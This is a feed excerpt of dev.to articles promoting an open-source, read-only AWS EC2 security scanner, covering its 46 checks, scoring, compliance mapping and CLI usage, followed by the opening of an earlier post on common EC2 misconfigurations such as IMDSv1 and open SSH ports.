&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Check IMDSv2...&lt;/span&gt;
aws ec2 describe-instances &lt;span class="nt"&gt;--query&lt;/span&gt; &lt;span class="s2"&gt;"..."&lt;/span&gt; &lt;span class="nt"&gt;--output&lt;/span&gt; json

&lt;span class="c"&gt;# Check security groups...&lt;/span&gt;
aws ec2 describe-security-groups &lt;span class="nt"&gt;--filters&lt;/span&gt; &lt;span class="s2"&gt;"..."&lt;/span&gt; &lt;span class="nt"&gt;--output&lt;/span&gt; json

&lt;span class="c"&gt;# Check EBS encryption...&lt;/span&gt;
aws ec2 describe-volumes &lt;span class="nt"&gt;--query&lt;/span&gt; &lt;span class="s2"&gt;"..."&lt;/span&gt; &lt;span class="nt"&gt;--output&lt;/span&gt; json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Repeat 46 times. Parse the JSON. Handle pagination. Deal with rate limits. Cover all edge cases. Then format a report for your security team. Then map everything to compliance frameworks. Then do it again next month.&lt;/p&gt;

&lt;p&gt;That’s not a script. That’s a full-time job.&lt;/p&gt;

&lt;h3&gt;
  
  
  One Command
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pip &lt;span class="nb"&gt;install &lt;/span&gt;ec2-security-scanner
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ec2-security-scanner security
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That’s it. 46 security checks. 8 categories. 10 compliance frameworks. 137 controls. Every running EC2 instance in your account. Scored from 0 to 100.&lt;/p&gt;

&lt;h3&gt;
  
  
  What It Checks
&lt;/h3&gt;

&lt;h4&gt;
  
  
  Category A: Instance Security (8 checks)
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;| ID | Check | What It Catches |
|-----|------------------------|--------------------------------------------------------------|
| A.1 | IMDSv2 enforcement | Instances still using IMDSv1 (the Capital One attack vector) |
| A.2 | Launch template IMDSv2 | Templates that will create insecure instances |
| A.3 | Public IP | Instances directly exposed to the internet |
| A.4 | IAM instance profile | Instances with no IAM role (can't use AWS services securely) |
| A.5 | Virtualization type | Paravirtual instances (legacy, less secure than HVM) |
| A.6 | Multiple ENIs | Dual-homed instances spanning network boundaries |
| A.7 | Detailed monitoring | CloudWatch basic vs. detailed monitoring |
| A.8 | UserData secrets | AWS keys, passwords, API tokens hardcoded in launch scripts |
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A.8 scans for &lt;strong&gt;24 secret patterns&lt;/strong&gt; including AWS access keys, database passwords, GitHub tokens, Slack tokens, private keys, and more. It decodes the base64 UserData and runs regex matching against every line.&lt;/p&gt;

&lt;h4&gt;
  
  
  Category B: Network Security (11 checks)
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;| ID | Check | What It Catches |
|------|------------------------|---------------------------------------------------------------------|
| B.1 | Default security group | VPC default SG with rules (should be empty) |
| B.2 | SSH open to world | Port 22 accessible from &lt;span class="sb"&gt;`0.0.0.0/0`&lt;/span&gt; or &lt;span class="sb"&gt;`::/0`&lt;/span&gt; |
| B.3 | RDP open to world | Port 3389 accessible from &lt;span class="sb"&gt;`0.0.0.0/0`&lt;/span&gt; or &lt;span class="sb"&gt;`::/0`&lt;/span&gt; |
| B.4 | High-risk ports | 24 dangerous ports open to the internet |
| B.5 | Remote admin ports | SSH, RDP, WinRM (5985/5986) open to world |
| B.6 | VPC flow logs | No flow logs enabled on the VPC |
| B.7 | NACL admin ports | Network ACLs allowing 0.0.0.0/0 to ports 22/3389 |
| B.8 | Source/dest check | Source/destination check disabled on ENIs |
| B.9 | Unrestricted egress | Security groups allowing all outbound traffic |
| B.10 | Unauthorized ports | Only ports 80/443 should be open to the world |
| B.11 | VPN IKEv2 | Site-to-Site VPN tunnels permitting the weaker IKEv1 (FSBP EC2.183) |
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;strong&gt;24 high-risk ports&lt;/strong&gt; (B.4): 20, 21, 22, 23, 25, 110, 135, 143, 445, 1433, 1434, 3000, 3306, 3389, 4333, 5000, 5432, 5500, 5601, 8080, 8088, 8888, 9200, 9300.&lt;/p&gt;

&lt;h4&gt;
  
  
  Category C: Storage Security (7 checks)
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;| ID | Check | What It Catches |
|-----|----------------------------------|-----------------------------------------------------------------|
| C.1 | EBS volume encryption | Unencrypted attached volumes |
| C.2 | EBS default encryption | Account-level EBS encryption not enabled |
| C.3 | Public EBS snapshots | Snapshots restorable by anyone |
| C.4 | EBS backup coverage | Volumes not covered by AWS Backup |
| C.5 | Launch template EBS encryption | Templates creating unencrypted volumes |
| C.6 | Public AMIs | Account-owned AMIs shared publicly |
| C.7 | EBS snapshot block public access | Account-level snapshot public-access not blocked (FSBP EC2.182) |
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Category D: Access Control (4 checks)
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;| ID | Check | What It Catches |
|-----|----------------------|--------------------------------------------------------------|
| D.1 | IAM role permissions | &lt;span class="sb"&gt;`AdministratorAccess`&lt;/span&gt;, &lt;span class="sb"&gt;`PowerUserAccess`&lt;/span&gt;, or &lt;span class="sb"&gt;`*:*`&lt;/span&gt; wildcards |
| D.2 | Key pair usage | SSH key pairs without SSM management |
| D.3 | Serial console | EC2 serial console access enabled at account level |
| D.4 | Instance Connect | No EC2 Instance Connect endpoints in the VPC |
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Category E: Logging &amp;amp; Monitoring (4 checks)
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;| ID | Check | What It Catches |
|-----|-------------------|---------------------------------------------------------------|
| E.1 | CloudTrail | No active trail with logging enabled |
| E.2 | CloudWatch alarms | No alarms configured for the instance |
| E.3 | SSM managed | Instance not in Systems Manager inventory |
| E.4 | GuardDuty | GuardDuty disabled, missing runtime or EBS malware protection |
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Category F: Patch &amp;amp; Vulnerability (3 checks)
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;| ID | Check | What It Catches |
|-----|----------------------|---------------------------------------------------------|
| F.1 | SSM patch compliance | Missing or failed patches |
| F.2 | AMI age | AMIs older than 180 days |
| F.3 | Inspector v2 | EC2 scanning disabled or critical/high findings present |
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Category G: Network Exposure (5 checks)
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;| ID | Check | What It Catches |
|-----|------------------------------|------------------------------------------------------------------|
| G.1 | Unused Elastic IPs | EIPs with no association (cost waste + potential attack surface) |
| G.2 | Launch template public IP | Templates assigning public IPs to instances |
| G.3 | Subnet auto-assign public IP | Subnets that auto-assign public IPs |
| G.4 | VPC Block Public Access | BPA not blocking internet gateway traffic |
| G.5 | Transit Gateway auto-accept | Transit Gateway auto-accepting VPC attachments |
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Category H: Tagging &amp;amp; Inventory (3 checks)
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;| ID | Check | What It Catches |
|-----|------------------------|------------------------------------------------|
| H.1 | Required tags | Missing &lt;span class="sb"&gt;`Name`&lt;/span&gt;, &lt;span class="sb"&gt;`Environment`&lt;/span&gt;, or &lt;span class="sb"&gt;`Owner`&lt;/span&gt; tags |
| H.2 | Stopped instances | Instances stopped for more than 30 days |
| H.3 | Unused security groups | SGs not attached to any network interface |
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Plus a &lt;strong&gt;region-level launch template audit&lt;/strong&gt; : because &lt;code&gt;**_describe-instances_**&lt;/code&gt; does not tell you which launch template an instance came from, the scanner inspects every launch template in the region directly for IMDSv2 enforcement, public IP assignment, and EBS encryption. That is the 46th check, reported once per region rather than per instance.&lt;/p&gt;

&lt;h3&gt;
  
  
  How Scoring Works
&lt;/h3&gt;

&lt;p&gt;The scanner produces &lt;strong&gt;two independent scores&lt;/strong&gt; , because not every problem belongs to a single instance.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;An &lt;strong&gt;instance score&lt;/strong&gt; (0 to 100) for what each instance controls: its metadata options, its security groups, its volumes, its IAM role, its UserData.
&lt;/li&gt;
&lt;li&gt;An &lt;strong&gt;environment score&lt;/strong&gt; (0 to 100) for account and VPC wide posture: GuardDuty, CloudTrail, VPC Block Public Access, the default security group, flow logs, public AMIs, and so on.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Account and VPC findings are counted &lt;strong&gt;once per scan&lt;/strong&gt; , not once per instance. If GuardDuty is off, that is one regional problem, not a penalty multiplied across fifty instances. This keeps the per-instance average honest and means a framework’s compliance percentage does not change with fleet size.&lt;/p&gt;

&lt;h4&gt;
  
  
  Instance score
&lt;/h4&gt;

&lt;p&gt;Every instance starts at &lt;strong&gt;100&lt;/strong&gt;. Deductions by severity:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CRITICAL&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Secrets in UserData: &lt;strong&gt;-25&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Public EBS snapshots of the instance’s volumes:  &lt;strong&gt;-20&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Security group exposure&lt;/strong&gt; (non-stacking, highest single penalty only):&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;High-risk ports open to the world (data store ports like 3306, 5432, …): &lt;strong&gt;-20&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;SSH open to the world: &lt;strong&gt;-15&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;RDP open to the world: &lt;strong&gt;-15&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Remote admin ports open: &lt;strong&gt;-15&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Unauthorized ports open (anything other than 80/443):  &lt;strong&gt;-10&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If an instance has both SSH and a high-risk port open, it loses 20 points, not 35. All overlapping “ports open to 0.0.0.0/0” penalties collapse to the single highest one.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;HIGH&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;IMDSv2 not enforced: &lt;strong&gt;-15&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Public IP assigned: &lt;strong&gt;-15&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;IAM admin/wildcard access: &lt;strong&gt;-15&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Inspector v2 disabled or critical/high findings: &lt;strong&gt;-8&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;MEDIUM&lt;/strong&gt; (-5 to -10): unencrypted EBS volumes, SSM patch non-compliance, no IAM instance profile, source/dest check disabled, not SSM managed, subnet auto-assign public IP, no CloudWatch alarms, stale AMI, no detailed monitoring, paravirtual instance, key pair without SSM.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;LOW&lt;/strong&gt; (-2 to -3): multiple ENIs, no backup plan, unrestricted egress, missing tags, long-stopped instance, IMDSv2 hop limit above 2.&lt;/p&gt;

&lt;h4&gt;
  
  
  Environment score
&lt;/h4&gt;

&lt;p&gt;Account and VPC posture starts at &lt;strong&gt;100&lt;/strong&gt; and is scored once per scan:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Public AMIs: &lt;strong&gt;-20&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Default security group has rules: &lt;strong&gt;-10&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;EBS snapshot block public access off: &lt;strong&gt;-10&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Transit Gateway auto-accept: &lt;strong&gt;-10&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;GuardDuty disabled: &lt;strong&gt;-10&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;VPC Block Public Access not blocking: &lt;strong&gt;-10&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;CloudTrail disabled: &lt;strong&gt;-10&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;VPN tunnels permitting IKEv1: &lt;strong&gt;-10&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;No VPC flow logs: &lt;strong&gt;-10&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Launch templates without IMDSv2, assigning public IPs, or with unencrypted EBS: &lt;strong&gt;-10 / -10 / -5&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;EBS default encryption disabled, serial console enabled, NACL admin ports open: &lt;strong&gt;-5&lt;/strong&gt; each
&lt;/li&gt;
&lt;li&gt;Unused security groups: &lt;strong&gt;-2&lt;/strong&gt; , unused Elastic IPs: &lt;strong&gt;-2&lt;/strong&gt; , no Instance Connect endpoint: &lt;strong&gt;-1&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Both scores are &lt;code&gt;**_max(0, 100 — total\_deductions)_**&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;| Score | Rating | What It Means |
|--------|-------------------|----------------------------------|
| 90-100 | Excellent | Keep doing what you're doing |
| 70-89 | Good | Minor gaps to address |
| 50-69 | Needs Improvement | Medium-priority fixes needed |
| 0-49 | Critical | Stop everything and fix this now |
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Architecture
&lt;/h3&gt;

&lt;p&gt;Here’s why it’s fast and why it won’t hammer your AWS API limits. The scanner uses a &lt;strong&gt;three-tier architecture&lt;/strong&gt; to minimize API calls:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tier 1: Account-level&lt;/strong&gt; (run once): EBS default encryption, serial console, GuardDuty, CloudTrail, public AMIs, unused EIPs, Transit Gateway, VPC Block Public Access. These results are shared across all instances.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tier 2: VPC-level&lt;/strong&gt; (run once per VPC): Default security group, VPC flow logs, NACL rules, Instance Connect endpoints. Results are keyed by VPC ID.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tier 3: Instance-level&lt;/strong&gt; (parallel): Everything else. Each instance is scanned in its own thread using &lt;code&gt;**_ThreadPoolExecutor_**&lt;/code&gt;. Thread safety is handled via &lt;code&gt;**_threading.local()_**&lt;/code&gt;, each thread gets its own boto3 session.&lt;/p&gt;

&lt;p&gt;Security group rules are fetched &lt;strong&gt;once per instance&lt;/strong&gt; and reused across 6 checks (B.2 to B.5, B.9, B.10). No redundant API calls.&lt;/p&gt;

&lt;h3&gt;
  
  
  Compliance Mapping
&lt;/h3&gt;

&lt;p&gt;Every check maps to controls across &lt;strong&gt;10 compliance frameworks&lt;/strong&gt; :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;| Framework | Controls |
|------------------------------------------|----------|
| AWS Foundational Security Best Practices | 32 |
| NIST SP 800-53 Rev5 | 27 |
| ISO 27001:2022 | 17 |
| SOC 2 Trust Service Criteria | 13 |
| PCI DSS v4.0.1 | 12 |
| HIPAA Security Rule | 10 |
| GDPR (EU) 2016/679 | 8 |
| CIS AWS Foundations v5.0 | 7 |
| ISO 27017 (Cloud-Specific) | 7 |
| ISO 27018 (PII in Cloud) | 4 |
| Total | 137 |
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The compliance report shows pass/fail for every control, per instance. Hand it to your auditor.&lt;/p&gt;

&lt;h3&gt;
  
  
  CLI Options
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;ec2-security-scanner security [OPTIONS]

| Option | Default | What It Does |
|-----------------------|-------------|---------------------------------|
| &lt;span class="sb"&gt;`-i, --instance-id`&lt;/span&gt; | all | Scan specific instance(s) |
| &lt;span class="sb"&gt;`--exclude-instance`&lt;/span&gt; | none | Skip specific instance(s) |
| &lt;span class="sb"&gt;`--tag-filter`&lt;/span&gt; | none | Filter by tag (&lt;span class="sb"&gt;`Key=Value`&lt;/span&gt;) |
| &lt;span class="sb"&gt;`--state-filter`&lt;/span&gt; | &lt;span class="sb"&gt;`running`&lt;/span&gt; | &lt;span class="sb"&gt;`running`&lt;/span&gt;, &lt;span class="sb"&gt;`stopped`&lt;/span&gt;, or &lt;span class="sb"&gt;`all`&lt;/span&gt; |
| &lt;span class="sb"&gt;`-r, --region`&lt;/span&gt; | &lt;span class="sb"&gt;`us-east-1`&lt;/span&gt; | AWS region to scan |
| &lt;span class="sb"&gt;`--compliance-only`&lt;/span&gt; | off | Generate compliance report only |
| &lt;span class="sb"&gt;`-p, --profile`&lt;/span&gt; | none | AWS CLI profile |
| &lt;span class="sb"&gt;`-o, --output-dir`&lt;/span&gt; | &lt;span class="sb"&gt;`./output`&lt;/span&gt; | Where to save reports |
| &lt;span class="sb"&gt;`-f, --output-format`&lt;/span&gt; | &lt;span class="sb"&gt;`all`&lt;/span&gt; | &lt;span class="sb"&gt;`json`&lt;/span&gt;, &lt;span class="sb"&gt;`csv`&lt;/span&gt;, &lt;span class="sb"&gt;`html`&lt;/span&gt;, or &lt;span class="sb"&gt;`all`&lt;/span&gt; |
| &lt;span class="sb"&gt;`-w, --max-workers`&lt;/span&gt; | &lt;span class="sb"&gt;`5`&lt;/span&gt; | Parallel threads |
| &lt;span class="sb"&gt;`-q, --quiet`&lt;/span&gt; | off | Suppress console output |
| &lt;span class="sb"&gt;`-d, --debug`&lt;/span&gt; | off | Debug logging |
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fx6enqg32hsxh43mdxfeb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fx6enqg32hsxh43mdxfeb.png" alt="EC2 Security Scanner" width="799" height="459"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Output
&lt;/h3&gt;

&lt;p&gt;You get four files:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;JSON&lt;/strong&gt; : Full scan results. Every check, every instance, every detail. Feed it to your SIEM, pipe it to jq, store it in S3.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CSV&lt;/strong&gt; : Spreadsheet-friendly. All key metrics and compliance status. For the people who live in Excel.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;HTML&lt;/strong&gt; : Interactive dashboard with Chart.js. Executive summary, score distribution chart, compliance overview, severity breakdown, sortable instance table, critical findings list. The one you show management.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Compliance JSON&lt;/strong&gt; : Per-instance compliance evaluation. Pass/fail for every control across all 10 frameworks. The one you show auditors.&lt;/p&gt;

&lt;p&gt;Scan files use the pattern &lt;code&gt;**_ec2\_scan\_{region}\_{timestamp}.{format}_**&lt;/code&gt;. The compliance report uses &lt;code&gt;**_ec2\_compliance\_{region}\_{timestamp}.json_**&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Quick Start
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Install&lt;/span&gt;
pip &lt;span class="nb"&gt;install &lt;/span&gt;ec2-security-scanner

&lt;span class="c"&gt;# Scan all running instances in us-east-1&lt;/span&gt;
ec2-security-scanner security

&lt;span class="c"&gt;# Scan specific instances&lt;/span&gt;
ec2-security-scanner security &lt;span class="nt"&gt;-i&lt;/span&gt; i-0123456789abcdef0

&lt;span class="c"&gt;# Scan with a profile and region&lt;/span&gt;
ec2-security-scanner security &lt;span class="nt"&gt;-p&lt;/span&gt; production &lt;span class="nt"&gt;-r&lt;/span&gt; eu-west-1

&lt;span class="c"&gt;# Only instances with specific tags&lt;/span&gt;
ec2-security-scanner security &lt;span class="nt"&gt;--tag-filter&lt;/span&gt; &lt;span class="s2"&gt;"Environment=production"&lt;/span&gt;

&lt;span class="c"&gt;# Generate compliance report only&lt;/span&gt;
ec2-security-scanner security &lt;span class="nt"&gt;--compliance-only&lt;/span&gt;

&lt;span class="c"&gt;# Scan stopped instances too&lt;/span&gt;
ec2-security-scanner security &lt;span class="nt"&gt;--state-filter&lt;/span&gt; all
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsdee522iktnqoe1zzl0d.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsdee522iktnqoe1zzl0d.png" alt="EC2 Security Scanner" width="800" height="389"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  What It Doesn’t Do
&lt;/h3&gt;

&lt;p&gt;It’s read-only. &lt;code&gt;**_Describe_**&lt;/code&gt;, &lt;code&gt;**_List_**&lt;/code&gt;, &lt;code&gt;**_Get_**&lt;/code&gt;. That’s it.&lt;/p&gt;

&lt;p&gt;Can’t create. Can’t modify. Can’t delete. Can’t access your data or read your volumes. All read-only permissions, no &lt;code&gt;**_\*:\*_**&lt;/code&gt; in sight. Full IAM policy is in the README.&lt;/p&gt;

&lt;h3&gt;
  
  
  What’s Next
&lt;/h3&gt;

&lt;p&gt;In Part 3, we’ll go through every finding category and show you exactly how to fix each issue, with AWS CLI commands, Terraform snippets, and console steps.&lt;/p&gt;

&lt;p&gt;Because finding the problems is step one. Fixing them is the whole point.&lt;/p&gt;

&lt;h3&gt;
  
  
  Support the Project
&lt;/h3&gt;

&lt;p&gt;The scanner is open source and built for the community. If it caught something real in your account, here is how to pay it forward:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Star it on GitHub&lt;/strong&gt; so more engineers can find it: &lt;a href="https://github.com/TocConsulting/ec2-security-scanner" rel="noopener noreferrer"&gt;https://github.com/TocConsulting/ec2-security-scanner&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Open a pull request&lt;/strong&gt; if you fix a bug or tighten a check.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Propose a new check or framework&lt;/strong&gt; by opening an issue. Real-world gaps make the best feature requests.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Share it&lt;/strong&gt; with your team and your network. Visibility is what keeps an open-source security tool alive.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Cloud attacks are getting faster and more automated in the AI era. The more contributors and eyes on tools like this, the harder we make it for attackers. Every star, issue, and pull request pushes cloud security forward.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;GitHub&lt;/strong&gt; : &lt;a href="https://github.com/TocConsulting/ec2-security-scanner" rel="noopener noreferrer"&gt;https://github.com/TocConsulting/ec2-security-scanner&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;PyPI&lt;/strong&gt; : &lt;a href="https://pypi.org/project/ec2-security-scanner/" rel="noopener noreferrer"&gt;https://pypi.org/project/ec2-security-scanner/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;If you found this useful, follow me for more AWS security content. Part 3, the remediation guide, drops next.&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>aws</category>
      <category>cybersecurity</category>
      <category>awsec2</category>
    </item>
    <item>
      <title>Your EC2 Instances Are Probably Exposed Right Now</title>
      <dc:creator>Tarek CHEIKH</dc:creator>
      <pubDate>Sun, 31 May 2026 20:03:32 +0000</pubDate>
      <link>https://dev.to/tarekcheikh/your-ec2-instances-are-probably-exposed-right-now-52ol</link>
      <guid>https://dev.to/tarekcheikh/your-ec2-instances-are-probably-exposed-right-now-52ol</guid>
      <description>&lt;p&gt;&lt;strong&gt;&lt;em&gt;Part 1 of 3 in the EC2 Security Series&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fk6qr0pfp8p28m1s1a5w0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fk6qr0pfp8p28m1s1a5w0.png" alt="Article Cover" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We’ve all been there.&lt;/p&gt;

&lt;p&gt;You spin up an EC2 instance. Pick an AMI. Click through the wizard. Security group? “Allow SSH from anywhere”, just for testing. Public IP? Sure, need to connect somehow. IAM role? Skip for now. Encryption? Default is fine.&lt;/p&gt;

&lt;p&gt;“I’ll lock it down later.”&lt;/p&gt;

&lt;p&gt;You won’t.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Numbers Don’t Lie
&lt;/h3&gt;

&lt;p&gt;EC2 is the backbone of AWS. It’s the first service most teams adopt, and it’s the one most teams get wrong.&lt;/p&gt;

&lt;p&gt;According to Datadog’s 2024 State of Cloud Security report, only about a third of EC2 instances enforce IMDSv2. That means roughly two-thirds still allow IMDSv1, the exact metadata weakness behind the Capital One breach.&lt;/p&gt;

&lt;p&gt;And it is not just metadata. SSH (port 22) and RDP (port 3389) left open to the entire internet remain among the most common cloud exposures. Not to a bastion host. Not behind a VPN. To the whole internet, reachable by anyone with an IP scanner and a password list. RDP, full graphical access to Windows servers, is a favorite ransomware entry point.&lt;/p&gt;

&lt;p&gt;But the real problem isn’t just open ports. It’s everything else.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Attack Surface You Don’t See
&lt;/h3&gt;

&lt;p&gt;When people think “EC2 security,” they think firewalls. Security groups. Maybe NACLs. That’s about 20% of the picture.&lt;/p&gt;

&lt;p&gt;Here’s what actually gets you breached:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Metadata Service Exploitation (IMDSv1)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Remember the Capital One breach? 106 million customer records. The attack started with a server-side request forgery (SSRF) that hit the EC2 metadata service (IMDSv1) to steal IAM role credentials.&lt;/p&gt;

&lt;p&gt;IMDSv1 serves credentials to any process that makes an HTTP GET to &lt;code&gt;**_169.254.169.254_**&lt;/code&gt;. No authentication. No session tokens. Just… here are your keys.&lt;/p&gt;

&lt;p&gt;AWS introduced IMDSv2 in November 2019, which requires a PUT request to get a session token first. That was more than six years ago, yet most EC2 instances still allow IMDSv1.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Secrets in User Data&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;EC2 User Data runs scripts at launch. Developers use it to bootstrap instances: install packages, configure services, set environment variables. The problem? User Data is stored in plaintext and accessible via the metadata service.&lt;/p&gt;

&lt;p&gt;I’ve seen production instances with AWS access keys, database passwords, API tokens, and private keys hardcoded in User Data. Anyone who can reach the metadata service (or anyone with &lt;code&gt;**_ec2:DescribeInstanceAttribute_**&lt;/code&gt; permissions) can read them.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Public AMIs&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Teams share AMIs to speed up deployments. Sometimes they accidentally make them public. A public AMI might contain embedded credentials, proprietary code, database connection strings, or internal certificates. Anyone with an AWS account can launch your AMI and extract everything in it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Overprivileged IAM Roles&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;“Just give it admin access, we’ll scope it down later.”&lt;/p&gt;

